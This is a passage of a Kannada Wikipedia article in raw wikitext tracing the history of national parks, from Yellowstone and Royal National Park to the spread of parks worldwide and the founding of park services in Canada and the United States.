ಮೀಸಲು ಮತ್ತು ಮನರಂಜನಾ ಮೈದಾನಗಳನ್ನು ರಾಜಮನೆತನಕ್ಕೆ ಮೀಸಲಿಡಲಾಗಿದೆ. ಉದಾಹರಣೆಗೆ ಫಾರೆಸ್ಟ್ ಆಫ್ ಫಾಂಟೈನ್‌ಬ್ಲೂ (ಫ್ರಾನ್ಸ್, ೧೮೬೧). <ref>Kimberly A. Jones, Simon R. Kelly, Sarah Kennel, Helga Kessler-Aurisch, ''In the forest of Fontainebleau: painters and photographers from Corot to Monet'', National Gallery of Art, 2008, p.23</ref> ಯೆಲ್ಲೊಸ್ಟೋನ್ ಫೆಡರಲ್ ಆಡಳಿತ ಪ್ರದೇಶದ ಭಾಗವಾಗಿತ್ತು. ಭೂಮಿಯ ಉಸ್ತುವಾರಿಯನ್ನು ವಹಿಸಿಕೊಳ್ಳುವ ಯಾವುದೇ ರಾಜ್ಯ ಸರ್ಕಾರವಿಲ್ಲದೆ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಅಧಿಕೃತ ಮೊದಲ ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನದ ನೇರ ಹೊಣೆಗಾರಿಕೆಯನ್ನು ಫೆಡರಲ್ ಸರ್ಕಾರ ವಹಿಸಿಕೊಂಡಿತು. ಸಂರಕ್ಷಣಾವಾದಿಗಳು, ರಾಜಕಾರಣಿಗಳು ಮತ್ತು ಉತ್ತರ ಪೆಸಿಫಿಕ್ ರೈಲ್‌ರೋಡ್‌ನ ಸಂಯೋಜಿತ ಪ್ರಯತ್ನ ಮತ್ತು ಆಸಕ್ತಿಯು ಯೆಲ್ಲೊಸ್ಟೋನ್ ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನವನ್ನು ರಚಿಸಲು ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್ ಕಾಂಗ್ರೆಸ್‌ನಿಂದ ಶಾಸನವನ್ನು ಶಕ್ತಗೊಳಿಸುವ ಅಂಗೀಕಾರವನ್ನು ಖಚಿತಪಡಿಸಿತು. [[ಥಿಯೋಡರ್ ರೂಸ್ವೆಲ್ಟ್|ಥಿಯೋಡರ್ ರೂಸ್‌ವೆಲ್ಟ್]] ಮತ್ತು ಅವರ ಸಂರಕ್ಷಣಾವಾದಿಗಳ ಗುಂಪು, ಬೂನ್ ಮತ್ತು ಕ್ರೋಕೆಟ್ ಕ್ಲಬ್ ಸಕ್ರಿಯ ಪ್ರಚಾರಕರಾಗಿದ್ದರು ಮತ್ತು ಮಸೂದೆಯನ್ನು ಬೆಂಬಲಿಸಲು ಸಹ ರಿಪಬ್ಲಿಕನ್ ಮತ್ತು ದೊಡ್ಡ ವ್ಯಾಪಾರಸ್ಥರನ್ನು ಮನವೊಲಿಸುವಲ್ಲಿ ಹೆಚ್ಚು ಪ್ರಭಾವಶಾಲಿಯಾಗಿದ್ದರು. ಯೆಲ್ಲೊಸ್ಟೋನ್ ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನವು ಶೀಘ್ರದಲ್ಲೇ ಈ ರಾಷ್ಟ್ರೀಯ ಸಂಪತ್ತುಗಳ ಸಂರಕ್ಷಣೆಯಲ್ಲಿ ಪ್ರಮುಖ ಪಾತ್ರವನ್ನು ವಹಿಸಿತು, ಏಕೆಂದರೆ ಅದು ಬೇಟೆಗಾರರು ಮತ್ತು ಇತರರ ಕೈಯಲ್ಲಿ ನರಳುತ್ತಿತ್ತು, ಅವರು ಪ್ರದೇಶದಿಂದ ಏನನ್ನು ದೋಚಲು ಸಿದ್ಧರಾಗಿದ್ದರು. ಥಿಯೋಡರ್ ರೂಸ್ವೆಲ್ಟ್ ಮತ್ತು ಅವರ ಹೊಸದಾಗಿ ರೂಪುಗೊಂಡ ಬೂನ್ ಮತ್ತು ಕ್ರೋಕೆಟ್ ಕ್ಲಬ್ ಈ ದುಸ್ಥಿತಿಯಿಂದ ಯೆಲ್ಲೊಸ್ಟೋನ್ ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನವನ್ನು ರಕ್ಷಿಸುವಲ್ಲಿ ಯಶಸ್ವಿಯಾಗಿ ಮುಂದಾಳತ್ವವನ್ನು ವಹಿಸಿತು. ಇದರ ಪರಿಣಾಮವಾಗಿ ಯೆಲ್ಲೊಸ್ಟೋನ್ ಮತ್ತು ಇತರ ಉದ್ಯಾನವನಗಳಲ್ಲಿನ ನೈಸರ್ಗಿಕ ಸಂಪನ್ಮೂಲಗಳನ್ನು ಸರ್ಕಾರದ ವ್ಯಾಪ್ತಿಯಲ್ಲಿ ಸಂರಕ್ಷಿಸಲು ವಿನ್ಯಾಸಗೊಳಿಸಲಾಗಿದೆ. ಅಮೇರಿಕನ್ [[ಪುಲಿಟ್ಜೆರ್ ಬಹುಮಾನ|ಪುಲಿಟ್ಜರ್ ಪ್ರಶಸ್ತಿ]] ವಿಜೇತ ಲೇಖಕ ವ್ಯಾಲೇಸ್ ಸ್ಟೆಗ್ನರ್ ಹೀಗೆ ಬರೆದಿದ್ದಾರೆ: "ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನಗಳು ನಾವು ಹೊಂದಿದ್ದ ಅತ್ಯುತ್ತಮ ಕಲ್ಪನೆಯಾಗಿದೆ. ಸಂಪೂರ್ಣವಾಗಿ ಅಮೇರಿಕನ್ ಸಂಪೂರ್ಣವಾಗಿ ಪ್ರಜಾಪ್ರಭುತ್ವ, ಅವರು ನಮ್ಮ ಕೆಟ್ಟದ್ದಕ್ಕಿಂತ ಹೆಚ್ಚಾಗಿ ನಮ್ಮ ಅತ್ಯುತ್ತಮವಾಗಿ ನಮ್ಮನ್ನು ಪ್ರತಿಬಿಂಬಿಸುತ್ತಾರೆ." <ref>{{Cite web|url=http://www.cr.nps.gov/history/hisnps/NPSThinking/famousquotes.htm|title=Famous Quotes Concerning the National Parks: Wallace Stegner, 1983|date=16 January 2003|website=Discover History|publisher=[[National Park Service]]|archive-url=https://web.archive.org/web/20110508031121/http://www.cr.nps.gov/history/hisnps/NPSThinking/famousquotes.htm|archive-date=8 May 2011|access-date=24 October 2011}}</ref> === ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನಗಳ ಅಂತರರಾಷ್ಟ್ರೀಯ ಬೆಳವಣಿಗೆ === [[ಚಿತ್ರ:Andhika_bayu_nugraha-taman_nasional_bromo_tengger_semeru.jpg|link=//upload.wikimedia.org/wikipedia/commons/thumb/a/a4/Andhika_bayu_nugraha-taman_nasional_bromo_tengger_semeru.jpg/220px-Andhika_bayu_nugraha-taman_nasional_bromo_tengger_semeru.jpg|thumb| ಬ್ರೋಮೊ ಟೆಂಗರ್ ಸೆಮೆರು ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನ, ಪೂರ್ವ ಜಾವಾ, [[ಇಂಡೋನೇಷ್ಯಾ]]]] [[ಚಿತ್ರ:Late_Afternoon_at_North_&_South_Era.jpg|link=//upload.wikimedia.org/wikipedia/commons/thumb/4/44/Late_Afternoon_at_North_%26_South_Era.jpg/220px-Late_Afternoon_at_North_%26_South_Era.jpg|thumb| ರಾಯಲ್ ನ್ಯಾಷನಲ್ ಪಾರ್ಕ್, ನ್ಯೂ ಸೌತ್ ವೇಲ್ಸ್, ಆಸ್ಟ್ರೇಲಿಯಾ]] "ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನ" ವನ್ನು ಅದರ ರಚನೆಯ ಶಾಸನದಲ್ಲಿ ಬಳಸಿದ ಮೊದಲ ಪ್ರದೇಶವೆಂದರೆ ೧೮೭೫ ರಲ್ಲಿ ಯು‍ಎಸ್ ನ ಮ್ಯಾಕಿನಾಕ್ ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನ . (ಈ ಪ್ರದೇಶವನ್ನು ನಂತರ ೧೮೯೫ ರಲ್ಲಿ ರಾಜ್ಯದ ಅಧಿಕಾರಕ್ಕೆ ವರ್ಗಾಯಿಸಲಾಯಿತು, ಹೀಗಾಗಿ ಅದರ ಅಧಿಕೃತ "ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನ" ಸ್ಥಾನಮಾನವನ್ನು ಕಳೆದುಕೊಂಡಿತು. <ref>{{Cite web|url=http://www.michigan.gov/mshda/0,4641,7-141-54317_19320_61909_61927-54596--,00.html|title=Mackinac Island|website=Michigan State Housing Development Authority|archive-url=https://web.archive.org/web/20160105141143/https://michigan.gov/mshda/0,4641,7-141-54317_19320_61909_61927-54596--,00.html|archive-date=5 January 2016|access-date=9 January 2016}}</ref> <ref name="ReferenceA">Kim Allen Scott, 2011 "Robertson's Echo The Conservation Ethic in the Establishment of Yellowstone and Royal National Parks" Yellowstone Science 19:3</ref> ) ಯೆಲ್ಲೊಸ್ಟೋನ್ ಮತ್ತು ಮ್ಯಾಕಿನಾಕ್‌ನಲ್ಲಿ ಸ್ಥಾಪಿಸಲಾದ ಕಲ್ಪನೆಯನ್ನು ಅನುಸರಿಸಿ, ಶೀಘ್ರದಲ್ಲೇ ಇತರ ರಾಷ್ಟ್ರಗಳಲ್ಲಿ ಉದ್ಯಾನವನಗಳನ್ನು ಅನುಸರಿಸಲಾಯಿತು. ಆಸ್ಟ್ರೇಲಿಯಾದಲ್ಲಿ, ಈಗ ರಾಯಲ್ ನ್ಯಾಷನಲ್ ಪಾರ್ಕ್ ಅನ್ನು [[ಸಿಡ್ನಿ|ಸಿಡ್ನಿಯ]] ದಕ್ಷಿಣಕ್ಕೆ ಸ್ಥಾಪಿಸಲಾಯಿತು , ನ್ಯೂ ಸೌತ್ ವೇಲ್ಸ್ ಕಾಲೋನಿ ೨೬ ಏಪ್ರಿಲ್ ೧೮೭೯ ರಂದು ವಿಶ್ವದ ಎರಡನೇ ಅಧಿಕೃತ ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನವಾಯಿತು <ref>{{Cite web|url=http://www.nma.gov.au/online_features/defining_moments/featured/first_national_park|title=1879: Australia's first national park created|website=National Museum of Australia|archive-url=https://web.archive.org/web/20160128023110/http://www.nma.gov.au/online_features/defining_moments/featured/first_national_park|archive-date=28 January 2016|access-date=9 January 2016}}</ref> ಮ್ಯಾಕಿನಾಕ್ ತನ್ನ ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನದ ಸ್ಥಾನಮಾನವನ್ನು ಕಳೆದುಕೊಂಡ ಕಾರಣ, ರಾಯಲ್ ನ್ಯಾಷನಲ್ ಪಾರ್ಕ್ ಕೆಲವು ಪರಿಗಣನೆಗಳ ಪ್ರಕಾರ ಈಗ ಅಸ್ತಿತ್ವದಲ್ಲಿರುವ ಎರಡನೇ ಅತ್ಯಂತ ಹಳೆಯ ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನವಾಗಿದೆ. <ref name="ReferenceA">Kim Allen Scott, 2011 "Robertson's Echo The Conservation Ethic in the Establishment of Yellowstone and Royal National Parks" Yellowstone Science 19:3</ref> <ref>{{Cite web|url=http://pinkava.asu.edu/starcentral/microscope/portal.php?pagetitle=getcollection&collectionID=127|title=Audley Bottom|publisher=Pinkava.asu.edu|archive-url=https://web.archive.org/web/20141102063535/http://pinkava.asu.edu/starcentral/microscope/portal.php?pagetitle=getcollection&collectionID=127|archive-date=2 November 2014|access-date=3 November 2014}}</ref> <ref>Rodney Harrison, 2012 "Heritage: Critical approaches" Routledge</ref> [[ಚಿತ್ರ:Bergtocht_van_Peio_Paese_naar_Lago_Covel_(1,839_m)_in_het_Nationaal_park_Stelvio_(Italië)._Lago_Covel_(1,839_m).jpg|link=//upload.wikimedia.org/wikipedia/commons/thumb/e/e9/Bergtocht_van_Peio_Paese_naar_Lago_Covel_%281%2C839_m%29_in_het_Nationaal_park_Stelvio_%28Itali%C3%AB%29._Lago_Covel_%281%2C839_m%29.jpg/220px-Bergtocht_van_Peio_Paese_naar_Lago_Covel_%281%2C839_m%29_in_het_Nationaal_park_Stelvio_%28Itali%C3%AB%29._Lago_Covel_%281%2C839_m%29.jpg|thumb| [[ಇಟಲಿ|ಇಟಲಿಯ]] ಸ್ಟೆಲ್ವಿಯೋ ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನದಲ್ಲಿರುವ ಲಾಗೋ '''ಕೋವೆಲ್''']] ಬ್ಯಾನ್ಫ್ ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನವು ೧೮೮೫ ರಲ್ಲಿ ಕೆನಡಾದ ಮೊದಲ ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನವಾಯಿತು. ನ್ಯೂಜಿಲೆಂಡ್ ೧೮೮೭ ರಲ್ಲಿ ಟೊಂಗಾರಿರೋ ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನ್ನು ಸ್ಥಾಪಿಸಿತು. [[ಚಿತ್ರ:Lilienstein_Saxon_Switzerland.jpg|link=//upload.wikimedia.org/wikipedia/commons/thumb/3/33/Lilienstein_Saxon_Switzerland.jpg/220px-Lilienstein_Saxon_Switzerland.jpg|thumb| ಸೂರ್ಯೋದಯದ ನಂತರ ಸ್ಯಾಕ್ಸನ್ ಸ್ವಿಟ್ಜರ್ಲೆಂಡ್ ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನದಲ್ಲಿ ಗ್ಯಾಮ್ರಿಗ್‌ನಿಂದ ಲಿಲಿಯನ್‌ಸ್ಟೈನ್‌ಗೆ ವೀಕ್ಷಿಸಿ]] ಯುರೋಪ್‌ನಲ್ಲಿ, ಮೊದಲ ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನಗಳು ೧೯೦೯ ರಲ್ಲಿ ಸ್ವೀಡನ್‌ನಲ್ಲಿ ಒಂಬತ್ತು ಉದ್ಯಾನವನಗಳ ಗುಂಪಾಗಿದ್ದು, ನಂತರ ೧೯೧೪ ರಲ್ಲಿ ಸ್ವಿಸ್ ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನವು . ಆಫ್ರಿಕಾದ ಮೊದಲ ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನವನ್ನು ೧೯೨೫ರಲ್ಲಿ ಸ್ಥಾಪಿಸಲಾಯಿತು. ಬೆಲ್ಜಿಯಂನ ಆಲ್ಬರ್ಟ್ I ಈಗ [[ಕಾಂಗೋ ಪ್ರಜಾಸತ್ತಾತ್ಮಕ ಗಣರಾಜ್ಯ|ಡೆಮಾಕ್ರಟಿಕ್ ರಿಪಬ್ಲಿಕ್ ಆಫ್ ಕಾಂಗೋ]] ಪ್ರದೇಶವನ್ನು ವಿರುಂಗಾ ಪರ್ವತಗಳ ಮೇಲೆ ಕೇಂದ್ರೀಕರಿಸಿದ ಪ್ರದೇಶವನ್ನು ಆಲ್ಬರ್ಟ್ ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನವೆಂದು ( ವಿರುಂಗಾ ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನ ಎಂದು ಮರುನಾಮಕರಣ ಮಾಡಲಾಗಿದೆ). ೧೯೨೬ ರಲ್ಲಿ, ದಕ್ಷಿಣ ಆಫ್ರಿಕಾದ ಸರ್ಕಾರವು ಕ್ರುಗರ್ ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನವನ್ನು ರಾಷ್ಟ್ರದ ಮೊದಲ ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನವೆಂದು ಗೊತ್ತುಪಡಿಸಿತು, ಆದಾಗ್ಯೂ ಇದು ಹಳೆಯ ದಕ್ಷಿಣ ಆಫ್ರಿಕಾದ ಗಣರಾಜ್ಯದ ಅಧ್ಯಕ್ಷ ಪಾಲ್ ಕ್ರುಗರ್ ಅವರು ೧೮೯೮ ರಲ್ಲಿ ಸ್ಥಾಪಿಸಿದ ಮುಂಚಿನ ಸ್ಯಾಬಿ ಗೇಮ್ ರಿಸರ್ವ್‌ನ ವಿಸ್ತರಣೆಯಾಗಿದೆ. ಅವರ ಹೆಸರನ್ನು ಉದ್ಯಾನವನಕ್ಕೆ ಹೆಸರಿಸಲಾಯಿತು. . ಫ್ರಾನ್ಸಿಸ್ಕೊ ಮೊರೆನೊ ಅವರ ಉಪಕ್ರಮದ ಮೂಲಕ ೧೯೩೪ ರಲ್ಲಿ ನಹುಯೆಲ್ ಹುವಾಪಿ ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನವನ್ನು ರಚಿಸುವುದರೊಂದಿಗೆ ಅರ್ಜೆಂಟೀನಾ ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನ ವ್ಯವಸ್ಥೆಯನ್ನು ರಚಿಸುವ ಅಮೆರಿಕಾದಲ್ಲಿ ಮೂರನೇ ರಾಷ್ಟ್ರವಾಯಿತು.  [[ಎರಡನೇ ಮಹಾಯುದ್ಧ|ಎರಡನೆಯ ಮಹಾಯುದ್ಧದ]] ನಂತರ, ಪ್ರಪಂಚದಾದ್ಯಂತ ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನಗಳನ್ನು ಸ್ಥಾಪಿಸಲಾಯಿತು. [[ಯುನೈಟೆಡ್ ಕಿಂಗ್‌ಡಂ|ಯುನೈಟೆಡ್ ಕಿಂಗ್‌ಡಮ್]] ತನ್ನ ಮೊದಲ ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನ, ಪೀಕ್ ಡಿಸ್ಟ್ರಿಕ್ಟ್ ನ್ಯಾಷನಲ್ ಪಾರ್ಕ್ ಅನ್ನು ೧೯೫೧ರಲ್ಲಿ ಗೊತ್ತುಪಡಿಸಿತು. ಇದು ಭೂದೃಶ್ಯಕ್ಕೆ ಹೆಚ್ಚಿನ ಸಾರ್ವಜನಿಕ ಪ್ರವೇಶಕ್ಕಾಗಿ ಬಹುಶಃ ೭೦ ವರ್ಷಗಳ ಒತ್ತಡವನ್ನು ಅನುಸರಿಸಿತು. ದಶಕದ ಅಂತ್ಯದ ವೇಳೆಗೆ ಯುಕೆ ನಲ್ಲಿ ಇನ್ನೂ ಒಂಬತ್ತು ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನಗಳನ್ನು ಗೊತ್ತುಪಡಿಸಲಾಯಿತು. <ref>{{Cite web|url=https://www.peakdistrict.gov.uk/learning-about/about-the-national-park/our-history|title=History of our National Park|website=Peak District National Park}}</ref> ಯುರೋಪ್ ೨೦೧೦ರ ಹೊತ್ತಿಗೆ ಸುಮಾರು ೩೫೯ ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನಗಳನ್ನು ಹೊಂದಿದೆ. ಆಲ್ಪ್ಸ್‌ನಲ್ಲಿರುವ ವ್ಯಾನೊಯಿಸ್ ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನವು ಮೊದಲ ಫ್ರೆಂಚ್ ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನವಾಗಿದೆ, ಇದನ್ನು [[ಪ್ರವಾಸೋದ್ಯಮ|ಪ್ರವಾಸಿ ಯೋಜನೆಯ]] ವಿರುದ್ಧ ಸಾರ್ವಜನಿಕ ಸಜ್ಜುಗೊಳಿಸಿದ ನಂತರ ೧೯೬೩ ರಲ್ಲಿ ರಚಿಸಲಾಯಿತು. [[ಚಿತ್ರ:Viru_raba_enne_päikesetõusu.jpg|link=//upload.wikimedia.org/wikipedia/commons/thumb/3/37/Viru_raba_enne_p%C3%A4ikeset%C3%B5usu.jpg/220px-Viru_raba_enne_p%C3%A4ikeset%C3%B5usu.jpg|thumb| ಸೂರ್ಯೋದಯಕ್ಕೆ ಮುನ್ನ ಎಸ್ಟೋನಿಯಾದ ಲಹೆಮಾ ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನದಲ್ಲಿ ವೀರೂ ಬಾಗ್]] ೧೯೭೧ ರಲ್ಲಿ [[ಎಸ್ಟೊನಿಯ|ಎಸ್ಟೋನಿಯಾದ]] ಲಹೆಮಾ ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನವು ಹಿಂದಿನ [[ಸೊವಿಯೆಟ್ ಒಕ್ಕೂಟ|ಸೋವಿಯತ್ ಒಕ್ಕೂಟದಲ್ಲಿ]] ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನವನ್ನು ಗೊತ್ತುಪಡಿಸಿದ ಮೊದಲ ಪ್ರದೇಶವಾಗಿದೆ. ೧೯೭೩ ರಲ್ಲಿ [[ಕಿಲಿಮಂಜಾರೊ|ಕಿಲಿಮಂಜಾರೋ ಪರ್ವತವನ್ನು]] ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನವಾಗಿ ವರ್ಗೀಕರಿಸಲಾಯಿತು ಮತ್ತು ೧೯೭೭ <ref>{{Cite web|url=http://www.privatekilimanjaro.com/about_kilimanjaro_park.asp|title=Kilimanjaro: The National Park|year=2011|website=Private Kilimanjaro: About Kilimanjaro|publisher=Private Expeditions, Ltd.|archive-url=https://web.archive.org/web/20111017152135/http://privatekilimanjaro.com/about_kilimanjaro_park.asp|archive-date=17 October 2011|access-date=24 October 2011}}</ref> ಸಾರ್ವಜನಿಕ ಪ್ರವೇಶಕ್ಕೆ ತೆರೆಯಲಾಯಿತು. ೧೯೮೯ ರಲ್ಲಿ, ೩.೩೮೧ ಅನ್ನು ರಕ್ಷಿಸಲು ಕೊಮೊಲಾಂಗ್ಮಾ ನ್ಯಾಷನಲ್ ನೇಚರ್ ಪ್ರಿಸರ್ವ್ (ಕ್ಯು‍ಎನ್‍ಎನ್‍ಪಿ) ಅನ್ನು ರಚಿಸಲಾಯಿತು.&nbsp;ಚೀನಾದ ಟಿಬೆಟ್ ಸ್ವಾಯತ್ತ ಪ್ರದೇಶದಲ್ಲಿ [[ಎವರೆಸ್ಟ್‌ ಶಿಖರ|ಮೌಂಟ್ ಎವರೆಸ್ಟ್‌ನ]] ಉತ್ತರ ಇಳಿಜಾರಿನಲ್ಲಿ ಮಿಲಿಯನ್ ಹೆಕ್ಟೇರ್. ಈ ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನವು ಪ್ರತ್ಯೇಕ ವಾರ್ಡನ್ ಮತ್ತು ರಕ್ಷಣಾ ಸಿಬ್ಬಂದಿಯನ್ನು ಹೊಂದಿರದ ಮೊದಲ ಪ್ರಮುಖ ಜಾಗತಿಕ ಉದ್ಯಾನವಾಗಿದೆ-ಇದರ ಎಲ್ಲಾ ನಿರ್ವಹಣೆಯನ್ನು ಅಸ್ತಿತ್ವದಲ್ಲಿರುವ ಸ್ಥಳೀಯ ಅಧಿಕಾರಿಗಳ ಮೂಲಕ ಮಾಡಲಾಗುತ್ತದೆ, ಇದು ಕಡಿಮೆ ವೆಚ್ಚದ ಆಧಾರ ಮತ್ತು ದೊಡ್ಡ ಭೌಗೋಳಿಕ ವ್ಯಾಪ್ತಿಯನ್ನು ಅನುಮತಿಸುತ್ತದೆ (೧೯೮೯ ರಲ್ಲಿ ರಚಿಸಿದಾಗ ಇದು ಏಷ್ಯಾದಲ್ಲಿಸಂರಕ್ಷಿತವಾಗಿದ್ದ ಅತಿದೊಡ್ಡ ಪ್ರದೇಶ. ) ಇದು ವಿಶ್ವದ ಆರು ಎತ್ತರದ ಪರ್ವತಗಳಲ್ಲಿ ನಾಲ್ಕನ್ನು ಒಳಗೊಂಡಿದೆ: [[ಎವರೆಸ್ಟ್‌ ಶಿಖರ|ಎವರೆಸ್ಟ್]], ಲೋತ್ಸೆ, ಮಕಾಲು ಮತ್ತು ಚೋ ಓಯು . ಕ್ಯು‍ಎನ್‍ಎನ್‍ಪಿ ನಾಲ್ಕು ನೇಪಾಳಿ ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನಗಳಿಗೆ ಹೊಂದಿಕೊಂಡಿದೆ, ಸ್ವಿಟ್ಜರ್ಲೆಂಡ್‌ಗೆ ಸಮಾನವಾದ ಟ್ರಾನ್ಸ್‌ಬಾರ್ಡರ್ ಸಂರಕ್ಷಣಾ ಪ್ರದೇಶವನ್ನು ರಚಿಸುತ್ತದೆ. <ref>Daniel C. Taylor, Carl E. Taylor, Jesse O. Taylor, ''Empowerment on an Unstable Planet'' New York & Oxford: Oxford University Press, 2012, Chapter 9</ref> === ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನ ಸೇವೆಗಳು === ವಿಶ್ವದ ಮೊದಲ ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನ ಸೇವೆಯನ್ನು ೧೯ ಮೇ ೧೯೧೧ ರಂದು ಕೆನಡಾದಲ್ಲಿ ಸ್ಥಾಪಿಸಲಾಯಿತು. <ref>{{Cite web|url=http://www.wwf.ca/newsroom/?uNewsID=9381|title=WWF News and Stories|archive-url=https://web.archive.org/web/20171107011646/http://www.wwf.ca/newsroom/?uNewsID=9381|archive-date=7 November 2017|access-date=25 May 2017}}</ref> <ref>{{Cite news|url=https://www.thestar.com/travel/northamerica/article/990243--parks-canada-celebrates-a-century-of-discovery|title=Parks Canada celebrates a century of discovery|last=Irish|first=Paul|date=13 May 2011|work=Toronto Star|access-date=18 May 2011|archive-url=https://web.archive.org/web/20110516235956/http://www.thestar.com/travel/northamerica/article/990243--parks-canada-celebrates-a-century-of-discovery|archive-date=16 May 2011}}</ref> ''ಡೊಮಿನಿಯನ್ ಫಾರೆಸ್ಟ್ ರಿಸರ್ವ್ಸ್ ಅಂಡ್ ಪಾರ್ಕ್ಸ್ ಆಕ್ಟ್'' ಡೊಮಿನಿಯನ್ ಪಾರ್ಕ್ ಬ್ರಾಂಚ್ (ಈಗ ಪಾರ್ಕ್ಸ್ ಕೆನಡಾ ) ಆಡಳಿತದ ಅಡಿಯಲ್ಲಿ ಡೊಮಿನಿಯನ್ ಪಾರ್ಕ್‌ಗಳನ್ನು ಆಂತರಿಕ ಇಲಾಖೆಯೊಳಗೆ ಇರಿಸಿದೆ. ನಗರ ವ್ಯವಸ್ಥೆಯಿಂದ ವಿಶ್ರಾಂತಿ ಮತ್ತು ಆಧ್ಯಾತ್ಮಿಕ ನವೀಕರಣವನ್ನು ಒದಗಿಸುವ ನೈಸರ್ಗಿಕ ಪ್ರಪಂಚದ ಕಲ್ಪನೆಯ ಮೇಲೆ ಕೇಂದ್ರೀಕೃತವಾಗಿರುವ ಮನರಂಜನಾ ಅನುಭವವನ್ನು ಒದಗಿಸಲು "ನೈಸರ್ಗಿಕ ಅದ್ಭುತಗಳ ತಾಣಗಳನ್ನು ರಕ್ಷಿಸಲು" ಶಾಖೆಯನ್ನು ಸ್ಥಾಪಿಸಲಾಯಿತು. <ref>{{Cite news|url=http://www.pc.gc.ca/apprendre-learn/prof/itm2-crp-trc/htm/evolution_e.asp|title=Parks Canada History|date=2 February 2009|work=Parks Canada|access-date=30 August 2012|archive-url=https://web.archive.org/web/20161022095725/http://www.pc.gc.ca/apprendre-learn/prof/itm2-crp-trc/htm/evolution_e.asp|archive-date=22 October 2016}}</ref> ಕೆನಡಾವು ಈಗ ೪,೫೦,೦೦೦ ರಷ್ಟಿರುವ ವಿಶ್ವದಲ್ಲೇ ಅತಿ ದೊಡ್ಡ ಸಂರಕ್ಷಿತ ಪ್ರದೇಶವನ್ನು ಹೊಂದಿದೆ. &nbsp;<ref>{{Cite news|url=https://www.pc.gc.ca/en/voyage-travel|title=Parks Canada|access-date=30 August 2012|archive-url=https://web.archive.org/web/20090323053512/http://www.pc.gc.ca/|archive-date=23 March 2009}}</ref> ಯೆಲ್ಲೊಸ್ಟೋನ್, ಯೊಸೆಮೈಟ್ ಮತ್ತು ಸುಮಾರು ೩೭ ಇತರ ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನಗಳು ಮತ್ತು ಸ್ಮಾರಕಗಳ ರಚನೆಯೊಂದಿಗೆ, ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್‌ನಲ್ಲಿ ಈ ಘಟಕಗಳನ್ನು ಸಮಗ್ರ ರೀತಿಯಲ್ಲಿ ನಿರ್ವಹಿಸುವ ಏಜೆನ್ಸಿಯನ್ನು ರಚಿಸುವ ಮೊದಲು ಮತ್ತೊಂದು ೪೪ ವರ್ಷಗಳು ಕಳೆದವು.&nbsp; ಯುಎಸ್ ನ್ಯಾಷನಲ್ ಪಾರ್ಕ್ ಸರ್ವಿಸ್ (ಎನ್ಪಿಎಸ್). ೬೪ನೇ ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್ ಕಾಂಗ್ರೆಸ್ ನ್ಯಾಷನಲ್ ಪಾರ್ಕ್ ಸರ್ವಿಸ್ ಆರ್ಗ್ಯಾನಿಕ್ ಆಕ್ಟ್ ಅನ್ನು ಅಂಗೀಕರಿಸಿತು. [[ವೂಡ್ರೋ ವಿಲ್ಸನ್|ಅಧ್ಯಕ್ಷ ವುಡ್ರೋ ವಿಲ್ಸನ್]] ೨೫ ಆಗಸ್ಟ್ ೧೯೧೬ ರಂದು ಕಾನೂನಿಗೆ ಸಹಿ ಹಾಕಿದರು. ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್‌ನ ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನ ಸೇವೆಯಿಂದ ನಿರ್ವಹಿಸಲ್ಪಡುವ ೪೨೩ ಸೈಟ್‌ಗಳಲ್ಲಿ ೬೩ ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನದ ಹೆಸರನ್ನು ಮಾತ್ರ ಹೊಂದಿವೆ. <ref name="USNPS">{{Cite web|url=https://www.nps.gov/aboutus/national-park-system.htm|title=National Park System (U.S. National Park Service)|date=2019-05-17}}</ref> == ಗಮನಾರ್ಹ ಉದ್ಯಾನವನಗಳು == 